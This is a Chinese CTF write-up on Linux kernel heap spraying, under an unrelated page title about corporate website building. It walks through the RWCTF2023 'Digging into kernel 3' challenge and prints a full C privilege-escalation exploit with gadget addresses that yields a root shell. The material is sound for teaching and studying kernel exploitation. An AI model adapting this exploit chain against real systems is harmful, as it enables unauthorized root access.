企业官网建设流程全解析

• 文档
• 网络安全
• 教程

本文是 CTF-Wiki 内核堆利用系列中针对堆喷射（heap spraying）手法的专题讲解。堆喷射是一类「通过大量分配相同结构体以达成特定内核堆内存布局」的辅助攻击技术，常用于解决 UAF 对象难以回收、堆布局不可知等场景。本文以 RWCTF2023 体验赛题目Digging into kernel 3为完整案例，结合仓库内 SLUB 分配器概述、内核堆利用前置知识 等资料，从漏洞分析、堆喷思路到完整 EXP 展开，读者读完后可以掌握一条「堆喷user_key_payload完成越界读泄露内核基址 → UAF 构造管道结构体重叠 → 伪造pipe_buf_operations函数表劫持控制流」的完整内核提权链路。

什么是堆喷射：辅助攻击手法的定位

堆喷射（heap spraying）指的是一种辅助攻击手法：通过大量分配相同的结构体来达成某种特定的内存布局，从而帮助攻击者完成后续的利用过程。它并不直接构成漏洞利用，而是为其他原语（如 UAF、堆溢出读/写）创造条件，常见于如下场景：

• UAF 对象难以直接回收：你有一个 UAF，但是无法通过少量内存分配拿到该结构体。例如该 object 不属于当前 freelist 且释放后会回到 node 上，或是像add_key()那样会被一直卡在第一个临时结构体上，此时可以通过堆喷射来确保拿到该 object。
• 堆布局不可知时的溢出定向：你有一个堆溢出读/写，但是堆布局对你而言是不可知的（比如说开启了SLAB_FREELIST_RANDOM，该保护默认开启），此时可以预先喷射大量特定结构体，从而保证对其中某个结构体的溢出命中。

作为一种辅助的攻击手法，堆喷射可以被应用在多种场景下，是内核堆利用中最基础也最重要的技巧之一。

堆喷射的底层基础：理解 SLUB 分配器

要理解堆喷射为什么有效，需要先了解它作用的对象——SLUB 分配器。内核堆利用相关背景可参见仓库中的 内核堆概述 与 SLUB 前置知识，这里仅提炼与堆喷直接相关的要点：

• slub 与 object：slub allocator 每次向 buddy system 请求单张/多张连续内存页后，将其分割为多个同等大小的对象（object），每个 slub 上的空闲对象组成一个以 NULL 结尾的单向链表（freelist）。一个 slub 中通常容纳有限数量的 object（例如kmalloc-192的 slub 上只有 21 个对象，这也是后文 EXP 中喷射数量定为 40 的原因）。
• kmem_cache_cpu与kmem_cache_node：每个kmem_cache由两个模块组成——kmem_cache_cpu（percpu 变量，当前核心正在使用的 slub，分配时无需加锁）与kmem_cache_node（slub 集散中心，维护 partial / full 链表）。分配时优先从kmem_cache_cpu取对象；耗尽后从 partial 链表取 slub；partial 也空了则向 buddy system 请求新内存页。释放时，属于当前 CPU slub 的对象会被头插回 freelist，属于 partial 链表上 slub 的对象会被头插到对应 slub 的 freelist，full slub 释放对象后则会回到 partial 链表。
• 绑核的必要性：slub allocator 优先从当前核心的kmem_cache_cpu分配，多核调度会让 EXP 进程在不同核心间漂移，导致分配来自不同的kmem_cache_cpu，利用模型变得复杂、成功率下降。因此将进程绑定到特定 CPU 核心是内核堆利用的标准前置操作，模板可见 内核 UAF 一文：

#include <sched.h> /* to run the exp on the specific core only */ void bind_cpu(int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }

• GFP_KERNEL与GFP_KERNEL_ACCOUNT的隔离问题：GFP_KERNEL_ACCOUNT比GFP_KERNEL多启用一个 bit___GFP_ACCOUNT_BIT。当内核开启CONFIG_MEMCG_KMEM（默认开启）时，使用GFP_KERNEL_ACCOUNT的通用对象会从独立的kmalloc-cg-*缓存中分配，与使用GFP_KERNEL的对象相互隔离；反之若关闭CONFIG_MEMCG_KMEM，两者等价、都从同一个kmalloc-xx分配。这一点直接影响后续堆喷能否跨结构体完成重叠（详见题目分析中对出题人关闭该选项的说明）。

理解了以上机制，堆喷射的本质就很清晰了：通过大量同尺寸、同 flag 的分配，把 freelist 的排列"刷"成攻击者期望的顺序，从而把 UAF 指针稳定地"嫁接"到目标结构体上。

例题：RWCTF2023 体验赛 - Digging into kernel 3

本篇为了介绍堆喷射这一手法，同时为了使用更多不同的结构体，笔者会用比较复杂的思路去解题（而非走最短路径）。

题目分析

按惯例查看启动脚本，发现开启了 SMEP、SMAP、KASLR、KPTI：

#!/bin/sh qemu-system-x86_64 \ -m 128M \ -nographic \ -kernel ./bzImage \ -initrd ./rootfs.img \ -enable-kvm \ -cpu kvm64,+smap,+smep \ -monitor /dev/null \ -append 'console=ttyS0 kaslr kpti=1 quiet oops=panic panic=1 init=/init' \ -no-reboot \ -snapshot \ -s

文件系统里给了一个rwctf.ko，拖入 IDA 进行分析，发现只定义了一个 ioctl，提供了两个功能：

• 0xDEADBEEF：分配一个任意大小的 object 并写入数据，分配 flag 为__GFP_ZERO | GFP_KERNEL，不过我们只能同时有两个 object（idx 仅 0/1）。
• 0xC0DECAFE：释放一个之前分配的 object，存在 UAF（释放后未清除对应指针）。

下图为rwctf.ko中 ioctl 处理函数的 IDA 反汇编结果，可见0xC0DECAFE分支在copy_from_user拷贝 16 字节参数后直接释放buf[v8]指向的内核堆内存，而0xDEADBEEF分支则以标志3520（即GFP_KERNEL | __GFP_ZERO）分配内核堆内存并拷贝用户数据：

我们需要传入如下结构体：

struct node { uint32_t idx; uint32_t size; void *buf; };

经过笔者测试，出题人手动关闭了如下默认开启的保护（出题人为了降低题目难度，可能关的更多，笔者只测了这几个）：

• 关闭了CONFIG_MEMCG_KMEM，这使得GFP_KERNEL与GFP_KERNEL_ACCOUNT会从同样的kmalloc-xx中进行分配（从而允许user_key_payload等GFP_KERNEL_ACCOUNT对象与题目分配的GFP_KERNEL对象互相重叠）。
• 关闭了CONFIG_RANDOMIZE_KSTACK_OFFSET，这使得固定函数调用到内核栈底的偏移值是不变的（便于精确定位栈迁移后的 ROP 布局）。
• 关闭了SLAB_FREELIST_HARDENED，这使得 freelist 几乎没有任何保护，可以轻易完成任意地址分配 + 任意地址读写。

不过在笔者看来出题人其实没有必要自降难度，下面笔者将给出在这三种保护开启时也能完成利用的方法：)

漏洞利用

既然题目中已经直接白给了一个无限制的 UAF，那么利用方式就是多种多样的了。这里笔者选择使用user_key_payload结构体来完成利用——它是内核密钥管理子系统中用来存放密钥内容的对象，与msg_msg类似，拥有固定大小的头部、其余空间存储来自用户空间的数据，且分配 flag 为GFP_KERNEL，是与题目对象进行堆重叠的理想目标。

Step.I - 堆喷 user_key_payload 越界读泄露内核基地址

在内核当中存在一个用于密钥管理的子系统，内核提供了add_key()系统调用进行密钥的创建，并提供了keyctl()系统调用进行密钥的读取、更新、销毁等功能：

#include <sys/types.h> #include <keyutils.h> key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t keyring); //... #include <asm/unistd.h> #include <linux/keyctl.h> #include <unistd.h> long syscall(__NR_keyctl, int operation, __kernel_ulong_t arg2, __kernel_ulong_t arg3, __kernel_ulong_t arg4, __kernel_ulong_t arg5);

当我们调用add_key()分配一个带有description字符串的、类型为"user"的、长度为plen的内容为payload的密钥时，内核会经历如下过程：

• 首先在内核空间分配 obj1 与 obj2，分配 flag 为GFP_KERNEL，用以保存description（字符串，最大大小 4096）与payload（普通数据，大小无限制）。
• 分配 obj3 保存description，分配 obj4 保存payload，分配 flag 皆为GFP_KERNEL。
• 释放 obj1 与 obj2，返回密钥 id。

其中 obj4 为一个user_key_payload结构体，定义如下：

struct user_key_payload { struct rcu_head rcu; /* RCU destructor */ unsigned short datalen; /* length of this data */ char data[] __aligned(__alignof__(u64)); /* actual data */ }; //... struct callback_head { struct callback_head *next; void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof(void *)))); #define rcu_head callback_head

类似于msg_msg，user_key_payload结构体有一个固定大小的头部（rcu_head占 16 字节 +datalen占 2 字节），其余空间用来存储来自用户空间的数据（密钥内容）。

keyctl()系统调用为我们提供了读取、更新（分配新对象、释放旧对象）、销毁密钥（释放 payload）的功能，其中读取的最大长度由user_key_payload->datalen决定。我们不难想到：可以利用题目提供的 UAF 将user_key_payload->datalen改大，从而完成越界读。注意以下两点：

• 这里的 description 字符串需要和 payload 有着不同的长度，从而简化利用模型。
• 读取 key 时的 len 应当不小于user_key_payload->datalen，否则会读取失败（这正是后文 EXP 中以0x4000作为读取长度的原因）。

但是这里有一个问题：add_key()会先分配一个临时的 obj1 拷贝 payload，之后再分配一个 obj2 作为user_key_payload。若我们先分配一个 obj 并释放后再调用add_key()，则该 obj 不会直接成为user_key_payload，而是会在后续的数次分配中都作为拷贝 payload 的临时 obj 存在——这正是堆喷射派上用场的场景。

我们可以通过堆喷将 UAF obj 分配到user_key_payload，考虑如下流程：

• 利用题目功能构建 UAF object。
• 堆喷射user_key_payload，UAF obj 作为拷贝 payload 的临时 obj 存在。
• kmem_cache_cpu的 slub page 耗光，向 node 请求新的 slub page 分配user_key_payload，完成后 UAF obj 被释放并回到kmem_cache_node。
• 继续堆喷user_key_payload，kmem_cache_cpu的 slub page 耗光，向 node 请求新的 slub page 分配user_key_payload。
• UAF obj 所在页面被取回，UAF obj 被分配为user_key_payload。
• 利用题目功能再次释放 UAF obj，利用题目功能进行堆喷获取到该 obj，从而覆写user_key_payload。

注：官方题解中进行地址泄露也是利用类似的做法。

不过笔者觉得其实直接利用题目分配 obj1 和 obj2 后全部释放，之后再在 obj2 上弄 UAF 就行了：) 这里采用这种做法只是为了介绍 heap spraying 这一手法。

笔者将在 Step.II 中使用这种方法。

接下来考虑越界读取什么数据。这里我们并不需要分配其他的结构体：rcu_head->func函数指针在 rcu 对象被释放后才会被写入并调用，但调用完并不会将其置为 NULL。因此我们可以通过释放密钥（keyctl(KEYCTL_REVOKE)）的方式在内核堆上留下内核函数指针，再借助越界读扫描该指针，从而完成内核基址的泄露——EXP 中正是以USER_FREE_PAYLOAD_RCU（user_free_payload_rcu回调函数的地址）为锚点，用(buf[i] & 0xfff) == 0x210的特征页内偏移来定位内核指针并计算基址偏移。

Step.II - UAF 泄露可控堆对象地址，篡改 pipe_buffer 劫持控制流

可以用来控制内核执行流的结构体有很多，但我们需要考虑如何完整地执行commit_creds(prepare_kernel_cred(NULL))后再成功返回用户态，因此需要进行栈迁移以布置较为完整的 ROP gadget chain。

由于题目开启了 SMEP、SMAP 保护，因此我们只能在内核空间伪造函数表；同时内核中的大部分结构体的函数表为静态指定（例如tty->ops总是ptm（或pty）_unix98_ops），因此我们还需要知道一个内容可控的内核对象地址，从而在内核空间中伪造函数表。

这里笔者选择管道相关的结构体完成利用。在内核中，管道本质上是创建了一个虚拟的 inode来表示的，对应的就是一个pipe_inode_info结构体：

struct pipe_inode_info { struct mutex mutex; wait_queue_head_t rd_wait, wr_wait; unsigned int head; unsigned int tail; unsigned int max_usage; unsigned int ring_size; #ifdef CONFIG_WATCH_QUEUE bool note_loss; #endif unsigned int nr_accounted; unsigned int readers; unsigned int writers; unsigned int files; unsigned int r_counter; unsigned int w_counter; struct page *tmp_page; struct fasync_struct *fasync_readers; struct fasync_struct *fasync_writers; struct pipe_buffer *bufs; struct user_struct *user; #ifdef CONFIG_WATCH_QUEUE struct watch_queue *watch_queue; #endif };

同时内核中会分配一个pipe_buffer结构体数组，每个pipe_buffer结构体对应一张用以存储数据的内存页：

struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; };

pipe_buf_operations为一张函数表，当我们对管道进行特定操作时内核便会调用该表上对应的函数，例如当我们关闭了管道的两端时，会触发pipe_buffer->pipe_buf_operations->release这一指针，由此我们便能控制内核执行流，从而完成提权：

struct pipe_buf_operations { //... /* * When the contents of this pipe buffer has been completely * consumed by a reader, ->release() is called. */ void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

那么这里我们可以利用 UAF 使得user_key_payload与pipe_inode_info占据同一个 object：pipe_inode_info中恰好有一些字段会被写入（如head/tail/ring_size等），其中某字段的值正好落在user_key_payload->datalen的偏移上，将其改为0xFFFF，使得我们能够继续读取数据（超过原先的 datalen 限制），从而读取pipe_inode_info以泄露出其bufs字段——即pipe_buffer数组的地址。

而pipe_buffer是动态分配的（大小 1024，对应kmalloc-1k），因此我们可以利用题目功能预先分配一个对象作为pipe_buffer并直接在其上伪造函数表即可：利用 UAF 在分配pipe_buffer之前预先占用该 object 并写入伪造的pipe_buf_operations函数表（ops字段指向pipe_buffer_addr + 0x18，即同一 object 上偏移 0x18 处），随后触发release()完成 ROP 提权并返回用户态执行 root shell。

对于笔者来说比较麻烦的倒是找栈迁移的 gadget...好在最后还是成功找到了一些合适的 gadget。

EXPLOIT

最后基于上述思路的完整 EXP 如下（关键步骤已附带注释）：

#define _GNU_SOURCE #include <sys/types.h> #include <sys/ioctl.h> #include <sys/prctl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/wait.h> #include <stdio.h> #include <signal.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <ctype.h> #include <stdint.h> /** * Utilities */ size_t kernel_base = 0xffffffff81000000, kernel_offset = 0; void err_exit(char *msg) { printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); sleep(5); exit(EXIT_FAILURE); } /* root checker and shell poper */ void get_root_shell(void) { if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!\033[0m"); sleep(5); exit(EXIT_FAILURE); } puts("\033[32m\033[1m[+] Successful to get the root. \033[0m"); puts("\033[34m\033[1m[*] Execve root shell now...\033[0m"); system("/bin/sh"); /* to exit the process normally, instead of segmentation fault */ exit(EXIT_SUCCESS); } /* userspace status saver */ size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); } /* bind the process to specific core */ void bind_core(int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); } /** * Syscall keyctl() operator */ #define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */ #define KEYCTL_UPDATE 2 /* update a key */ #define KEYCTL_REVOKE 3 /* revoke a key */ #define KEYCTL_UNLINK 9 /* unlink a key from a keyring */ #define KEYCTL_READ 11 /* read a key or keyring's contents */ int key_alloc(char *description, void *payload, size_t plen) { return syscall(__NR_add_key, "user", description, payload, plen, KEY_SPEC_PROCESS_KEYRING); } int key_update(int keyid, void *payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen); } int key_read(int keyid, void *buffer, size_t buflen) { return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen); } int key_revoke(int keyid) { return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0); } int key_unlink(int keyid) { return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING); } /** * Challenge interactiver */ /* kmalloc-192 has only 21 objects on a slub, we don't need to spray to many */ #define KEY_SPRAY_NUM 40 #define PIPE_INODE_INFO_SZ 192 #define PIPE_BUFFER_SZ 1024 #define USER_FREE_PAYLOAD_RCU 0xffffffff813d8210 #define PREPARE_KERNEL_CRED 0xffffffff81096110 #define COMMIT_CREDS 0xffffffff81095c30 #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ed0 #define PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250c9d #define POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250ca4 #define POP_RDI_RET 0xffffffff8106ab4d #define XCHG_RDI_RAX_DEC_STH_RET 0xffffffff81adfc70 int dev_fd; struct node { uint32_t idx; uint32_t size; void *buf; }; /** * @brief allocate an object bby kmalloc(size, __GFP_ZERO | GFP_KERNEL ) * __GFP_RECLAIM = __GFP_KSWAPD_RECLAIM | __GFP_DIRECT_RECLAIM * GFP_KERNEL = __GFP_RECLAIM | __GFP_IO | __GFP_FS * * @param idx * @param size * @param buf */ void alloc(uint32_t idx, uint32_t size, void *buf) { struct node n = { .idx = idx, .size = size, .buf = buf, }; ioctl(dev_fd, 0xDEADBEEF, &n); } void del(uint32_t idx) { struct node n = { .idx = idx, }; ioctl(dev_fd, 0xC0DECAFE, &n); } /** * Exploit stage */ int main(int argc, char **argv, char **envp) { size_t *buf, pipe_buffer_addr; int key_id[KEY_SPRAY_NUM], victim_key_idx = -1, pipe_key_id; char desciption[0x100]; int pipe_fd[2]; int retval; /* fundamental works */ bind_core(0); save_status(); buf = malloc(sizeof(size_t) * 0x4000); dev_fd = open("/dev/rwctf", O_RDONLY); if (dev_fd < 0) { err_exit("FAILED to open the /dev/rwctf file!"); } /* construct UAF on user_key_payload */ puts("[*] construct UAF obj and spray keys..."); alloc(0, PIPE_INODE_INFO_SZ, buf); del(0); for (int i = 0; i < KEY_SPRAY_NUM; i++) { snprintf(desciption, 0x100, "%s%d", "arttnba", i); key_id[i] = key_alloc(desciption, buf, PIPE_INODE_INFO_SZ - 0x18); if (key_id[i] < 0) { printf("[x] failed to alloc %d key!\n", i); err_exit("FAILED to add_key()!"); } } del(0); /* corrupt user_key_payload's header */ puts("[*] corrupting user_key_payload..."); buf[0] = 0; buf[1] = 0; buf[2] = 0x2000; for (int i = 0; i < (KEY_SPRAY_NUM * 2); i++) { alloc(0, PIPE_INODE_INFO_SZ, buf); } /* check for oob-read and leak kernel base */ puts("[*] try to make an OOB-read..."); for (int i = 0; i < KEY_SPRAY_NUM; i++) { if (key_read(key_id[i], buf, 0x4000) > PIPE_INODE_INFO_SZ) { printf("[+] found victim key at idx: %d\n", i); victim_key_idx = i; } else { key_revoke(key_id[i]); } } if (victim_key_idx == -1) { err_exit("FAILED at corrupt user_key_payload!"); } kernel_offset = -1; for (int i = 0; i < 0x2000 / 8; i++) { if (buf[i] > kernel_base && (buf[i] & 0xfff) == 0x210) { kernel_offset = buf[i] - USER_FREE_PAYLOAD_RCU; kernel_base += kernel_offset; break; } } if (kernel_offset == -1) { err_exit("FAILED to leak kernel addr!"); } printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%lx\n", kernel_offset); printf("\033[32m\033[1m[+] Kernel base: \033[0m0x%lx\n", kernel_base); /* construct UAF on pipe_inode_buffer to leak pipe_buffer's addr */ puts("[*] construct UAF on pipe_inode_info..."); /* 0->1->..., the 1 will be the payload object */ alloc(0, PIPE_INODE_INFO_SZ, buf); alloc(1, PIPE_INODE_INFO_SZ, buf); del(1); del(0); pipe_key_id = key_alloc("arttnba3pipe", buf, PIPE_INODE_INFO_SZ - 0x18); del(1); /* this object is for the pipe buffer */ alloc(0, PIPE_BUFFER_SZ, buf); del(0); pipe(pipe_fd); /* note that the user_key_payload->datalen is 0xFFFF now */ retval = key_read(pipe_key_id, buf, 0xffff); pipe_buffer_addr = buf[16]; /* pipe_inode_info->bufs */ printf("\033[32m\033[1m[+] Got pipe_buffer: \033[0m0x%lx\n", pipe_buffer_addr); /* construct fake pipe_buf_operations */ memset(buf, 'A', sizeof(buf)); buf[0] = *(size_t*) "arttnba3"; buf[1] = *(size_t*) "arttnba3"; buf[2] = pipe_buffer_addr + 0x18; /* pipe_buffer->ops */ /* after release(), we got back here */ buf[3] = kernel_offset + POP_RBX_POP_RBP_POP_R12_RET; /* pipe_buf_operations->release */ buf[4] = kernel_offset + PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET; buf[5] = *(size_t*) "arttnba3"; buf[6] = *(size_t*) "arttnba3"; buf[7] = kernel_offset + POP_RDI_RET; buf[8] = (size_t) NULL; buf[9] = kernel_offset + PREPARE_KERNEL_CRED; buf[10] = kernel_offset + XCHG_RDI_RAX_DEC_STH_RET; buf[11] = kernel_offset + COMMIT_CREDS; buf[12] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x31; buf[13] = *(size_t*) "arttnba3"; buf[14] = *(size_t*) "arttnba3"; buf[15] = (size_t) get_root_shell; buf[16] = user_cs; buf[17] = user_rflags; buf[18] = user_sp + 8; /* system() wants it : ( */ buf[19] = user_ss; del(0); alloc(0, PIPE_BUFFER_SZ, buf); /* trigger pipe_buf_operations->release */ puts("[*] trigerring pipe_buf_operations->release()..."); close(pipe_fd[1]); close(pipe_fd[0]); return 0; }

对 EXP 关键流程的解读：

1. 前置工作：bind_core(0)将进程绑定到 core 0（配合 slub 的kmem_cache_cpu模型保证堆操作可预期），save_status()保存用户态寄存器以备 ROP 返回。
2. 构建 UAF + 堆喷：alloc(0, 192, buf)后del(0)产生一个 192 大小的 UAF 对象；随后连续key_alloc()喷射 40 个user_key_payload（payload 大小192 - 0x18，与user_key_payload的 24 字节头部对齐，使分配落在kmalloc-192）。由于add_key()总是先分配临时 obj 拷贝 payload，UAF 对象会先被当作临时 obj，随着喷射耗尽 CPU slub 页面、向 node 请求新页面，UAF 对象最终被分配为user_key_payload（对应前面分析的堆喷流程）。
3. 覆写 datalen 完成越界读：再次del(0)释放该对象，随后循环alloc(0, 192, buf)重新拿回该对象，写入buf[2] = 0x2000将user_key_payload->datalen改为 0x2000；然后以key_read(key, buf, 0x4000)逐个试探（读取长度不小于 datalen 才成功），命中后扫描越界数据中的内核指针（(buf[i] & 0xfff) == 0x210为user_free_payload_rcu的特征偏移），减去USER_FREE_PAYLOAD_RCU得到kernel_offset与kernel_base。
4. 重叠 pipe_inode_info：alloc(0)/alloc(1)后全部释放，再key_alloc让user_key_payload占用 obj1，随后del(1)制造第二个 UAF；alloc(0, 1024)+del(0)预备pipe_buffer对象，pipe()创建管道后，pipe_inode_info恰好落在被 UAF 的 obj1 上，其写入的字段使user_key_payload->datalen变为 0xFFFF，此时key_read(..., 0xffff)即可读出整个pipe_inode_info，buf[16]（bufs字段）即为pipe_buffer数组地址。
5. 伪造函数表 + 栈迁移 ROP：在buf中构造 fakepipe_buf_operations：pipe_buffer->ops指向pipe_buffer_addr + 0x18，其中release槽位填入PUSH_RSI_POP_RSP...gadget——release()被调用时rsi恰好指向pipe_buffer结构体，该 gadget 先将rsi压栈再弹入rsp，实现把栈迁移到pipe_buffer_addr处的 ROP 链；随后依次POP_RDI_RET; NULL; PREPARE_KERNEL_CRED、XCHG_RDI_RAX...、COMMIT_CREDS完成commit_creds(prepare_kernel_cred(NULL))，最后通过SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x31连同保存的user_cs/user_rflags/user_sp/user_ss优雅返回用户态执行get_root_shell()。
6. 触发：del(0)释放 1024 对象后alloc(0, 1024, buf)使其成为pipe_buffer，再close(pipe_fd[1])/close(pipe_fd[0])关闭管道两端，触发pipe_buf_operations->release()完成提权。

小结与相关阅读

本文以 RWCTF2023 Digging into kernel 3 为例，完整演示了堆喷射在内核利用中的两种典型价值：让 UAF 指针稳定回收目标结构体（将user_key_payload喷到 UAF 对象上）与在不可知布局中制造可控重叠（user_key_payload与pipe_inode_info同占一个 object）。整条利用链还综合了越界读泄露内核基址、rcu_head->func内核指针残留、pipe_buffer动态分配与函数表伪造、栈迁移 ROP 等多个经典内核利用技巧。

堆喷射之外，SLUB 利用还有不少相关手法，可以继续阅读本仓库中的以下篇章：

• 内核堆概述：页/区/节点、buddy system 与 slab/slob/slub
• SLUB 前置知识：绑核、GFP 分配 flag 与 slub 合并/隔离
• 内核 UAF：垂悬指针利用与绑核模板
• freelist 劫持：覆写 next 指针实现任意地址分配

• 文档
• 网络安全
• 教程